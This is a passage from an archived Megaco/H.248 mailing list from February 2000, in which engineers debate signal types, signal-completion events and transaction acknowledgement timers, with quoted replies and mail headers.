event which reports on the completion of any signal so flagged, with the
identity of the signal as a reporting parameter.  QUESTION: should
KeepActive default to TRUE for this event?  In any case, the signal
completion event is invoked in the usual way, through an events descriptor.

Open issue: signal
failures.  The need for reports of such failures is real -- they do
happen from time to time.  They happen autonomously, which means we
either have to have an error method (ServiceChange ?) or an event to report
them.  The key issue is whether you would need to know about ANY failure
or only those of selected signals.

    -----Original Message-----

    From:  
Rosen, Brian [SMTP:brosen@FORE.COM]

    Sent:  
Friday, February 04, 2000 2:17 PM

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
Re: Cisco SG16: Signals Operation

    Comments below

    > -----Original Message-----

    > From: Chip Sharp [mailto:chsharp@cisco.com]

    > Sent: Friday, February 04, 2000
12:05 AM

    > To: MEGACO@standards.nortelnetworks.com

    > Subject: Re: Cisco SG16: Signals
Operation

    >

    >

    > At 08:17 PM 2/2/00 -0500, Tom-PT
Taylor wrote:

    > >

    > >

    > >I have every sympathy with your
first point -- I couldn't resist the

    > >temptation to propose a new definition
of BR.  The fact is,

    > the way things

    > >currently stand, we could abolish
the signal type parameter

    > and it would

    > >make no difference to the operation
of the protocol.  I

    > suppose we would

    > >have to define an "infinite" duration
to simulate on/off as

    > currently

    > >defined, but even that might not
be necessary.

    > >

    > >Speaking as chair, I suppose I
have to say that the null

    > hypothesis is

    > >that we stick with our current
text.  We have two other alternatives:

    > >

    > >(a) New distinctive definitions
for BR, TO, OO, with the

    > understanding

    > >that the definition of a given
signal indicates its default

    > type, but that

    > >type can always be overridden by
the type parameter.

    > >

    > >  - BR duration is assumed
to be known to the MG without

    > explicit MGC

    > > input.  BR signals can be
stopped by detection of events

    > without the

    > > KeepActive parameter or by replacement
of the current

    > signal descriptor

    > > with one not containing the indicated
signal.

    > I would suggest they cannot be interrupted
by events. If not, there's

    > little reason for having them as
well as TO signals.

    It's okay with me

    > >

    > >

    > >  - TO duration is given explicitly
by the duration

    > parameter.  A default

    > > may be provisioned or defined
in the package.  TO signals

    > can be stopped

    > > by detection of events without
the KeepActive parameter or

    > by replacement

    > > of the current signal descriptor
with one not containing

    > the indicated signal.

    > >

    > >  - OO signals remain active
until a signal descriptor with explicit

    > > turn-off syntax comes into effect
(Chip's proposal).

    > Sounds good.

    What is the syntax?  Would a
parameter do, or do we have to actually have a

    keyword?  Is there a default? 
I propose that we

    have keywords. Signals{VMButton{ON}}

    this makes:

    sigParameter      
= sigStream / sigSignalType / sigDuration /

                   
sigOnOFF / sigOther / NotifyCompletion

    (last element is in debate at the
moment)

    sigOnOff          
= OnToken / OffToken

    What happens with signal lists?

    > >

    > >

    > >(b) Abolish signal type.

    > >

    > >If I see a sudden rush to agreement
on something other than

    > the existing

    > >text I'll feed it into Geneva. 
Otherwise things stay put

    > and we can try

    > >again for H.248v2 -- the protocol
works as is.

    > I doubt it. This is such a fundamental
property of the

    > protocol that it is

    > highly unlikely you would be able
it in v2, not least considering the

    > backwards compatibility restricion
on package extensions. I

    > would suggest

    > doing it right the first time around.

    >

    > Issue update and additions follow
below.

    > >

    > >

    > >Comments to the other points follow
them.

    > >-----Original Message----- 
From:  Chip Sharp

    > >[SMTP:chsharp@CISCO.COM] 
Sent:  Tuesday, January 25, 2000 7:59

    > >PM  To:   
MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:

    >  Cisco SG16:

    > >Signals Operation

    >

    > Section:        
7.1.1, second paragraph, last paragraph

    > Category:    
Technical

    > Issue no.:    
14.2

    > Issue:         
The draft text specifies that "Finally, there is an

    > optional "notifyCompletion" that
allows a MGC to request

    > being notified of

    > completion of the signal. The value
of thi sparameter is a

    > RequestIdentifier, allowing the
MGC to correlate the Notify with the

    > corresponding signal" and furthermore
that "If the MGC requested

    > notification of completion for a
signal, a Notify command

    > SHALL be sent by

    > the MG upon completion of that signal.
A Notify triggered by

    > completion of

    > a signal SHALL NOT affect the state
of the eventbuffer or any

    > active events

    > descriptor". There is already a
mechanism in the protocol

    > that supports

    > this functionality, namely events.
By using the event

    > mechanism instead,

    > the duplication of functionality
is avoided, and event

    > ordering between

    > "events" and completed signals become
trivial - currently they are an

    > unsolved issue. Furthermore, it
is unclear how this behavior

    > interacts with

    > the EventBuffer mechanism. For example,
if an event has been

    > notified,

    > "EventBuffer" is on, and the signal
now completes, it seems

    > inconsistent to

    > issue another Notify specific to
the signal.

    > Proposal:    
It is strongly suggested, that

    > "notifyCompletion" is replaced

    > by having the completion of the
signal generating an event

    > (e.g. "signal

    > complete") instead (notification
of which may or may not have been

    > requested). Furthermore, to account
for signal failure, there

    > should be a

    > "signal failure" event as well.

    > Status:

    I have argued this precise point,
and believe that there should only

    be ONE way to get an event armed and
triggered.  I agree that it

    should be an event.  I specifically
proposed that a signal complete

    event be defined that has a parameter
which is the list of signals

    that it applies to, but it occurs
to me that a compromise is to

    leave the parameter in Signals Descriptor
as being a "this is one

    of the signals that the signal complete
event applies to", and then

    the signals complete event has no
input parameter, but has an output

    parameter that specifies which signal
completed.

    > >    Section:       
7.1.10, fourth paragraph, first

    > > bullet.  Category:      
Technical, Open Issue  Issue:

    >     The draft

    > > text defines on/off signals "the
signal lasts until it is

    > turned off",

    > > however this definition is not
clear. Specifically, it is

    > not  clear if

    > > an on/off signal is turned off
by not being included in a

    > subsequent

    > > SignalsDescriptor or if it is
turned off by some explicit

    > action. In the

    > > latter case, syntax is missing
leading one to believe that

    > the former

    > > definition is intended. The former
definition on the other hand  is

    > > somewhat problematic and overlaps
the definition of time-out

    > > signals  with an indefinite
duration. Consider for instance

    > a "visual

    > > message  waiting indicator"
defined as an on/off signal. Unless the

    > > signal is  included in all
subsequent SignalsDescritpors,

    > the indicator

    > > will be turned  off. The
on/off signal type would be more

    > useful (and not

    > > a duplicate of  timeout)
if this was not the case.  Also,

    > it should be

    > > noted, that the more general topic
of signal types and  the

    > details of

    > > their operation has been the subject
of much debate on the

    > IETF Megaco

    > > mailing list since the white contribution
was developed,

    > and  that at

    > > time of writing, no resolution
had been found.

    > >

    > >Proposal:      
It is recommended that the definition of on/off is

    > >clarified in  accordance with
the above and the missing syntax added.

    > >

    > >

    > >v13 Status:    
OPEN. No substantial change has been made.

    >

    > v14: OPEN. No relevant text changed.

    > >

    > >

    > >Section:       
7.1.10, fourth paragraph, second

    > >bullet  Category:      
Technical  Issue:         
The draft

    > text defines

    > >timeout signals as "the signal
lasts until  it is turned off

    > or a specific

    > >period of time elapses", however
there is no  mechanism

    > specified for

    > >informing the MGC when that specific
period of time  has

    > elapsed and thus

    > >the signal has ended. The MGC may
therefore be unable  to

    > determine if a

    > >given signal is playing in an MG
or not. An example where

    > this is needed

    > >is outpulsing with MF Feature Group
D trunks where multiple

    > digit strings

    > >(address and caller id) need to
be outpulsed. MGC needs to

    > know when

    > >outpulsing of the first string
of digits has occurred before

    >  requesting

    > >out-pulsing of the next string.).
Another example is a

    > signal  activated

    > >through an external event such
as user input (by use of an  embedded

    > >signals descriptor).

    > >

    > >Proposal:      
It is strongly recommended that a mechanism

    > for notifying

    > >the MGC  upon timeout signal
completion is added, e.g. in

    > the form of an

    > >event  ("operation complete").
Furthermore, it should be

    > considered to add

    > >another  event that would
allow the MGC to be informed if

    > generation of

    > >the signal  fails for some
reason (e.g. "operation

    > failure"). It should be

    > >noted, that  this may happen
in the middle of the signals

    > defined duration.

    > >

    > >v13 Status:    
OPEN. No substantial change has been made.

    > >

    > >[[TomT]]  v14 adds the notifyCompletion
parameter for every

    > signal and

    > >text on how completions are notified
in section 7.2.7.  For

    > failures we

    > >have that generic failure event
in E.1, but no text on how

    > to apply it or

    > >what request ID to use for it.

    >

    > v14:    DISAGREE
(see issue 14.2). A mechanism has been added.

    I'd say that the mechanism proposed,
or the V14 mechanism does

    address the completion part. 
The error part is V2; should it be

    an event, or just an error? 
How should the error be reported?

    >

    > Section:        
7.1.17

    > Category:    
Technical

    > Issue no.:    
14.3

    > Issue:         
The draft text specifies that "If a Notify is

    > sent as a

    > result of a signal completion, the
ObservedEventsDescriptor

    > contains the

    > name of the signal that completed
and the time at which it

    > completed". Cf.

    > issue 14.2, this behavior is undesirable
and should be

    > replaced with an

    > event instead thereby eliminating
the need for specifying

    > this special case.

    > Proposal: Assuming the proposed
resolution to issue 14.2 is

    > accepted, it is

    > proposed that the above sentence
is deleted.

    > Status:

    Since I agree that the mechanism should
be an event, I agree

    with this

    > Section:        
7.2.8 (Notify), last three paragraphs

    > Category:    
Technical

    > Issue no.:     
14.5

    > Issue:         
The draft text specifies that "..., or as a result of

    > completion of a signal for which
the MGC requested notification of

    > completion", and "...or the triggering
SignalsDescriptor", as

    > finally "A

    > Notify triggered by completion of
a signal, contains the

    > corresponding

    > signal name in the ObservedEventsDescriptor".
However, as

    > argued in issue

    > 14.2, this behavior is a special
case that is inconsistent

    > with the general

    > event handling mechanism, incl.
Notifications. If signal

    > completion was not

    > designed as a special case (which
there is no reason to),

    > this special case

    > handling would not be necessary.

    > Proposal: Assuming the proposed
solution to issue 14.2 is

    > accepted, it is

    > proposed to remove all of the above
text segments.

    > Status:

    Ditto

    > >

    > >

    > >Section:               
12.1.4  Category:       Technical, Open

    > >Issue  Issue:         
The draft text mentions SignalType CN

    > (Continue),

    > >however this  SignalType is
not defined in Section 7.1.10 on Signals

    > >Descriptor.  Also, it should
be noted, that the more general

    > topic of

    > >signal types and  the details
of their operation has been

    > the subject of

    > >much debate on the  IETF Megaco
mailing list since the white

    > contribution

    > >was developed, and  that at
time of writing, no resolution had been

    > >found.  Proposal:      
It is proposed that SignalType CN is

    > removed from

    > >the text.

    > >

    > >v13 Status:    
OPEN. No text changed.

    > >

    > >[[TomT]]  Done.

    > v14. CLOSED. SignalType CN has been
removed.

    > >    Section:       
12.1.4  Category:       Technical, Open

    > > Issue  Issue:         
The draft text specifies that

    > "Signals that would

    > > be played with  SignalType
BR should have a default

    > duration"  Again, it

    > > should be noted, that the more
general topic of signal

    > types and  the

    > > details of their operation has
been the subject of much debate on

    > > the  IETF Megaco mailing
list since the white contribution

    > was developed,

    > > and  that at time of writing,
no resolution had been

    > > found.  Proposal:      
It is proposed that similar text is

    > added as for

    > > signals of  SignalType TO.

    > >

    > >v13 Status:    
OPEN. No text changed.  [[TomT]]  See

    > initial comments to

    > >this message.

    > v14: OPEN. No text changed.

    > Support NetAid! 
http://www.netaid.org

    > --------------------------------------------------

    > Chip Sharp                
Consulting Engineering

    > Cisco Systems             
Telco Bio-region

    > Reality - Love it or Leave it.

    > --------------------------------------------------

    >





--

---------------------------------------

Flemming Andreasen

Cisco Systems

---------------------------------------

 

--------------66E35AE494E67AEE72219792--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 17:30:04 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA11912
	for ; Fri, 4 Feb 2000 17:30:03 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1C5DEA90@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:27:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25898 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 17:25:32 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.71647F10@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:15:32
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA08811; Fri, 4 Feb
          2000 17:17:37 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA20911; Fri, 4 Feb
          2000 17:17:40 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTV28>; Fri, 4 Feb 2000 17:14:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F5D.312AB5AC"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088A4@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 17:17:37 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Transaction ID uniqueness
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F5D.312AB5AC
Content-Type: text/plain;
        charset="iso-8859-1"

Acks are a function of transport.  The ACK syntax we have is UDP only.
You can't, in general, require an ACK, immediate or not.
We could, theoretically, change Annex D to do what you ask, but we couldn't
change the main body of the text.  Given that, what would you want to do?

I'd rather leave it as it is right now, and get some experience.

Brian

-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]
Sent: Friday, February 04, 2000 4:39 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Transaction ID uniqueness


Hi Brian

Please look for FSA below (mail reader acting up here so sorry about the
formatting)


-- Flemming



"Rosen, Brian" wrote:
===============
Since there is no way for the requestor to know how long the responder will
take,
how long should it wait before sending a duplicate request, after it gets a
pend?


Whatever the answer is, that is the rate at which pends have to come.


If the timer is very long, then the timer to clear a missed final response
will be very long



FSA: No. You make sure the final response is transmitted reliably by
requiring it to be acknowledged.


Whatever the timer is, we may have to have repeated pends, and each of them
will be proceeded by a duplicate request in your proposal.


FSA: Correct


The scheme we have now is just like the one you propose, except that the
pends
come without prompt by the requestor, and the default value of the timer is
short.


FSA: No it's not. With my proposal, I can safely set the timer to say 30
seconds, and still detect a lost final response promptly. If I do anything
of the sort with your proposal, it will be a looooong time before we
recover.


Brian


---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------



------_=_NextPart_001_01BF6F5D.312AB5AC
Content-Type: text/html;
        charset="iso-8859-1"









Acks
are a function of transport.  The ACK syntax we have is UDP
only.


You
can't, in general, require an ACK, immediate or not.


We
could, theoretically, change Annex D to do what you ask, but we
couldn't


change
the main body of the text.  Given that, what would you want to
do?


 


I'd
rather leave it as it is right now, and get some experience.


 


Brian



  
-----Original Message-----
From: Flemming Andreasen
  [mailto:fandreasen@WORLDNET.ATT.NET]
Sent: Friday, February 04, 2000
  4:39 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: Cisco SG16: Transaction ID uniqueness

Hi Brian
  
Please look for FSA below (mail reader acting up here so sorry about the
  formatting)
  
-- Flemming 
 
  
"Rosen, Brian" wrote: 
=============== 
Since there is no way for the requestor to know
  how long the responder will take, 
how long should it wait before
  sending a duplicate request, after it gets a pend?
  
Whatever the answer is,
  that is the rate at which pends have to come.
  
If the timer is very
  long, then the timer to clear a missed final response will be very
  long 
 
  
FSA: No. You make sure
  the final response is transmitted reliably by requiring it to be
  acknowledged.
  
Whatever the timer is,
  we may have to have repeated pends, and each of them
  
will be proceeded by a
  duplicate request in your proposal.
  
FSA:
  Correct
  
The scheme we have now
  is just like the one you propose, except that the pends
  
come without prompt by
  the requestor, and the default value of the timer is
  short.
  
FSA: No it's not. With
  my proposal, I can safely set the timer to say 30 seconds, and still detect a
  lost final response promptly. If I do anything of the sort with your proposal,
  it will be a looooong time before we recover.
  
Brian
  
--------------------------------------- 
Flemming Andreasen 
Cisco
  Systems 
--------------------------------------- 
 



------_=_NextPart_001_01BF6F5D.312AB5AC--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb  4 17:38:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12033
	for ; Fri, 4 Feb 2000 17:38:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3C2C5A40@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:35:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 25908 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 4 Feb 2000 17:33:45 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.965E2CC0@standards.nortelnetworks.com>; Fri, 4 Feb 2000 17:23:44
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id RAA09449; Fri, 4 Feb
          2000 17:25:54 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id RAA22398; Fri, 4 Feb
          2000 17:25:57 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTTVNF>; Fri, 4 Feb 2000 17:22:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6F5E.59B591C6"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088A6@whq-msgusr-02.fore.com>
Date:         Fri, 4 Feb 2000 17:25:55 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6F5E.59B591C6
Content-Type: text/plain;
        charset="iso-8859-1"

Let's see:
    Events stop signals except:
        When KeepActive is set
        If the signal is BR
        If the signal is OO

Net result - events stop signals only when TO and not KeepActive.

Maybe we should have a "StopSignal", rather than a KeepActive

Maybe it happens so seldom that we use an embedded signals to do it.

Also note that by saying BR doesn't stop for events, you twist the solution
to
first digit stops dialtone to a new level.

Brian

-----Original Message-----
From: Flemming Andreasen [mailto:fandreasen@WORLDNET.ATT.NET]
Sent: Friday, February 04, 2000 4:55 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Signals Operation


Hi Tom

OO signals should not be interrupted by an event, only the explicit "Off"
syntax should have this effect (otherwise we are back to TO signals with
indefinite duration, and semantically there's good use for something that
stays active until explicitly told otherwise, e.g. consider message waiting
indicator)


Regards


        Flemming


Tom-PT Taylor wrote:




Digging through the accumulated mass of indented text and comments, I think
I see two parties agreeing on the following points.  Unfortunately
experience tells me that as soon as we introduce a third party the
agreements will vanish, but I'll record them here just in case a miracle
happens.


1) BR signals have the following characteristics: duration is assumed to be
known to the MG without explicit MGC input.  Brian wants the ability to
override duration, and I have no quarrel with that -- the only question is
the exact mechanism.  The second characteristic is that a BR signal is not
terminated by the detection of an event.  (But BR signals are still
terminated by replacement of the Signals descriptor??  Any objections here?)



2) TO signals seem to be fairly well understood.


3) OO signals have the following characteristics: they remain on until
interrupted by detection of an event, or receipt of a Signals descriptor
with explicit Off syntax.  Brian's keyword syntax is probably acceptable.
Brian has a query about signal lists.  Is there something about this
proposal that doesn't work given our current signal list text?

4) Brian's proposals for completion events probably work for Chip and they
work for me.  To summarize: the current notifyCompletion parameter remains
but its significance changes: it is a selector (Boolean, default FALSE) and
does not actually arm reporting.  There is a signal completion event which
reports on the completion of any signal so flagged, with the identity of the
signal as a reporting parameter.  QUESTION: should KeepActive default to
TRUE for this event?  In any case, the signal completion event is invoked in
the usual way, through an events descriptor.

Open issue: signal failures.  The need for reports of such failures is real
-- they do happen from time to time.  They happen autonomously, which means
we either have to have an error method (ServiceChange ?) or an event to
report them.  The key issue is whether you would need to know about ANY
failure or only those of selected signals.


        -----Original Message-----
From:   Rosen, Brian [SMTP:brosen@FORE.COM]
Sent:   Friday, February 04, 2000 2:17 PM
To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject:        Re: Cisco SG16: Signals Operation

        Comments below


        > -----Original Message-----
> From: Chip Sharp [ mailto:chsharp@cisco.com  ]
> Sent: Friday, February 04, 2000 12:05 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: Cisco SG16: Signals Operation
>
>
> At 08:17 PM 2/2/00 -0500, Tom-PT Taylor wrote:
> >
> >
> >I have every sympathy with your first point -- I couldn't resist the
> >temptation to propose a new definition of BR.  The fact is,
> the way things
> >currently stand, we could abolish the signal type parameter
> and it would
> >make no difference to the operation of the protocol.  I
> suppose we would
> >have to define an "infinite" duration to simulate on/off as
> currently
> >defined, but even that might not be necessary.
> >
> >Speaking as chair, I suppose I have to say that the null
> hypothesis is
> >that we stick with our current text.  We have two other alternatives:
> >
> >(a) New distinctive definitions for BR, TO, OO, with the
> understanding
> >that the definition of a given signal indicates its default
> type, but that
> >type can always be overridden by the type parameter.
> >
> >  - BR duration is assumed to be known to the MG without
> explicit MGC
> > input.  BR signals can be stopped by detection of events
> without the
> > KeepActive parameter or by replacement of the current
> signal descriptor
> > with one not containing the indicated signal.
> I would suggest they cannot be interrupted by events. If not, there's
> little reason for having them as well as TO signals.
It's okay with me


        > >
> >
> >  - TO duration is given explicitly by the duration
> parameter.  A default
> > may be provisioned or defined in the package.  TO signals
> can be stopped
> > by detection of events without the KeepActive parameter or
> by replacement
> > of the current signal descriptor with one not containing
> the indicated signal.
> >
> >  - OO signals remain active until a signal descriptor with explicit
> > turn-off syntax comes into effect (Chip's proposal).
> Sounds good.
What is the syntax?  Would a parameter do, or do we have to actually have a
keyword?  Is there a default?  I propose that we
have keywords. Signals{VMButton{ON}}
this makes:
sigParameter       = sigStream / sigSignalType / sigDuration /
                sigOnOFF / sigOther / NotifyCompletion
(last element is in debate at the moment)
sigOnOff           = OnToken / OffToken


        What happens with signal lists?


        > >
> >
> >(b) Abolish signal type.
> >
> >If I see a sudden rush to agreement on something other than
> the existing
> >text I'll feed it into Geneva.  Otherwise things stay put
> and we can try
> >again for H.248v2 -- the protocol works as is.
> I doubt it. This is such a fundamental property of the
> protocol that it is
> highly unlikely you would be able it in v2, not least considering the
> backwards compatibility restricion on package extensions. I
> would suggest
> doing it right the first time around.
>
> Issue update and additions follow below.
> >
> >
> >Comments to the other points follow them.
> >-----Original Message-----  From:  Chip Sharp
> >[SMTP:chsharp@CISCO.COM]  Sent:  Tuesday, January 25, 2000 7:59
> >PM  To:    MEGACO@STANDARDS.NORTELNETWORKS.COM  Subject:
>  Cisco SG16:
> >Signals Operation
>
> Section:         7.1.1, second paragraph, last paragraph
> Category:     Technical
> Issue no.:     14.2
> Issue:          The draft text specifies that "Finally, there is an
> optional "notifyCompletion" that allows a MGC to request
> being notified of
> completion of the signal. The value of thi sparameter is a
> RequestIdentifier, allowing the MGC to correlate the Notify with the
> corresponding signal" and furthermore that "If the MGC requested
> notification of completion for a signal, a Notify command
> SHALL be sent by
> the MG upon completion of that signal. A Notify triggered by
> completion of
> a signal SHALL NOT affect the state of the eventbuffer or any
> active events
> descriptor". There is already a mechanism in the protocol
> that supports
> this functionality, namely events. By using the event
> mechanism instead,
> the duplication of functionality is avoided, and event
> ordering between
> "events" and completed signals become trivial - currently they are an
> unsolved issue. Furthermore, it is unclear how this behavior
> interacts with
> the EventBuffer mechanism. For example, if an event has been
> notified,
> "EventBuffer" is on, and the signal now completes, it seems
> inconsistent to
> issue another Notify specific to the signal.
> Proposal:     It is strongly suggested, that
> "notifyCompletion" is replaced
> by having the completion of the signal generating an event
> (e.g. "signal
> complete") instead (notification of which may or may not have been
> requested). Furthermore, to account for signal failure, there
> should be a
> "signal failure" event as well.
> Status:
I have argued this precise point, and believe that there should only
be ONE way to get an event armed and triggered.  I agree that it
should be an event.  I specifically proposed that a signal complete
event be defined that has a parameter which is the list of signals
that it applies to, but it occurs to me that a compromise is to
leave the parameter in Signals Descriptor as being a "this is one
of the signals that the signal complete event applies to", and then
the signals complete event has no input parameter, but has an output
parameter that specifies which signal completed.


        > >    Section:        7.1.10, fourth paragraph, first
> > bullet.  Category:       Technical, Open Issue  Issue:
>     The draft
> > text defines on/off signals "the signal lasts until it is
> turned off",
> > however this definition is not clear. Specifically, it is
> not  clear if
> > an on/off signal is turned off by not being included in a
> subsequent
> > SignalsDescriptor or if it is turned off by some explicit
> action. In the
> > latter case, syntax is missing leading one to believe that
> the former
> > definition is intended. The former definition on the other hand  is
> > somewhat problematic and overlaps the definition of time-out
> > signals  with an indefinite duration. Consider for instance
> a "visual
> > message  waiting indicator" defined as an on/off signal. Unless the
> > signal is  included in all subsequent SignalsDescritpors,
> the indicator
> > will be turned  off. The on/off signal type would be more
> useful (and not
> > a duplicate of  timeout) if this was not the case.  Also,
> it should be
> > noted, that the more general topic of signal types and  the
> details of
> > their operation has been the subject of much debate on the
> IETF Megaco
> > mailing list since the white contribution was developed,
> and  that at
> > time of writing, no resolution had been found.
> >
> >Proposal:       It is recommended that the definition of on/off is
> >clarified in  accordance with the above and the missing syntax added.
> >
> >
> >v13 Status:     OPEN. No substantial change has been made.
>
> v14: OPEN. No relevant text changed.
> >
> >
> >Section:        7.1.10, fourth paragraph, second
> >bullet  Category:       Technical  Issue:          The draft
> text defines
> >timeout signals as "the signal lasts until  it is turned off
> or a specific
> >period of time elapses", however there is no  mechanism
> specified for
> >informing the MGC when that specific period of time  has
> elapsed and thus
> >the signal has ended. The MGC may therefore be unable  to
> determine if a
> >given signal is playing in an MG or not. An example where
> this is needed
> >is outpulsing with MF Feature Group D trunks where multiple
> digit strings
> >(address and caller id) need to be outpulsed. MGC needs to
> know when
> >outpulsing of the first string of digits has occurred before
>  requesting
> >out-pulsing of the next string.). Another example is a
> signal  activated
> >through an external event such as user input (by use of an  embedded
> >signals descriptor).
> >
> >Proposal:       It is strongly recommended that a mechanism
> for notifying
> >the MGC  upon timeout signal completion is added, e.g. in
> the form of an
> >event  ("operation complete"). Furthermore, it should be
> considered to add
> >another  event that would allow the MGC to be informed if
> generation of
> >the signal  fails for some reason (e.g. "operation
> failure"). It should be
> >noted, that  this may happen in the middle of the signals
> defined duration.
> >
> >v13 Status:     OPEN. No substantial change has been made.
> >
> >[[TomT]]  v14 adds the notifyCompletion parameter for every
> signal and
> >text on how completions are notified in section 7.2.7.  For
> failures we
> >have that generic failure event in E.1, but no text on how
> to apply it or
> >what request ID to use for it.
>
> v14:    DISAGREE (see issue 14.2). A mechanism has been added.
I'd say that the mechanism proposed, or the V14 mechanism does
address the completion part.  The error part is V2; should it be
an event, or just an error?  How should the error be reported?


        >
> Section:         7.1.17
> Category:     Technical
> Issue no.:     14.3
> Issue:          The draft text specifies that "If a Notify is
> sent as a
> result of a signal completion, the ObservedEventsDescriptor
> contains the
> name of the signal that completed and the time at which it
> completed". Cf.
> issue 14.2, this behavior is undesirable and should be
> replaced with an
> event instead thereby eliminating the need for specifying
> this special case.
> Proposal: Assuming the proposed resolution to issue 14.2 is
> accepted, it is
> proposed that the above sentence is deleted.
> Status:
Since I agree that the mechanism should be an event, I agree
with this


        > Section:         7.2.8 (Notify), last three paragraphs
> Category:     Technical
> Issue no.:      14.5
> Issue:          The draft text specifies that "..., or as a result of
> completion of a signal for which the MGC requested notification of
> completion", and "...or the triggering SignalsDescriptor", as
> finally "A
> Notify triggered by completion of a signal, contains the
> corresponding
> signal name in the ObservedEventsDescriptor". However, as
> argued in issue
> 14.2, this behavior is a special case that is inconsistent
> with the general
> event handling mechanism, incl. Notifications. If signal
> completion was not
> designed as a special case (which there is no reason to),
> this special case
> handling would not be necessary.
> Proposal: Assuming the proposed solution to issue 14.2 is
> accepted, it is
> proposed to remove all of the above text segments.
> Status:
Ditto


        > >
> >
> >Section:                12.1.4  Category:       Technical, Open
> >Issue  Issue:          The draft text mentions SignalType CN
> (Continue),
> >however this  SignalType is not defined in Section 7.1.10 on Signals
> >Descriptor.  Also, it should be noted, that the more general
> topic of
> >signal types and  the details of their operation has been
> the subject of
> >much debate on the  IETF Megaco mailing list since the white
> contribution
> >was developed, and  that at time of writing, no resolution had been
> >found.  Proposal:       It is proposed that SignalType CN is
> removed from
> >the text.
> >
> >v13 Status:     OPEN. No text changed.
> >
> >[[TomT]]  Done.
> v14. CLOSED. SignalType CN has been removed.
> >    Section:        12.1.4  Category:       Technical, Open
> > Issue  Issue:          The draft text specifies that
> "Signals that would
> > be played with  SignalType BR should have a default
> duration"  Again, it
> > should be noted, that the more general topic of signal
> types and  the
> > details of their operation has been the subject of much debate on
> > the  IETF Megaco mailing list since the white contribution
> was developed,
> > and  that at time of writing, no resolution had been
> > found.  Proposal:       It is proposed that similar text is
> added as for
> > signals of  SignalType TO.
> >
> >v13 Status:     OPEN. No text changed.  [[TomT]]  See
> initial comments to
> >this message.
> v14: OPEN. No text changed.
> Support NetAid!  http://www.netaid.org 
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------



------_=_NextPart_001_01BF6F5E.59B591C6
Content-Type: text/html;
        charset="iso-8859-1"









Let's
see:


    Events stop signals
except:


        When
KeepActive is set


        If the
signal is BR


        If the
signal is OO


 


Net
result - events stop signals only when TO and not
KeepActive.


 


Maybe
we should have a "StopSignal", rather than a KeepActive


 


Maybe
it happens so seldom that we use an embedded signals to do
it.


 


Also
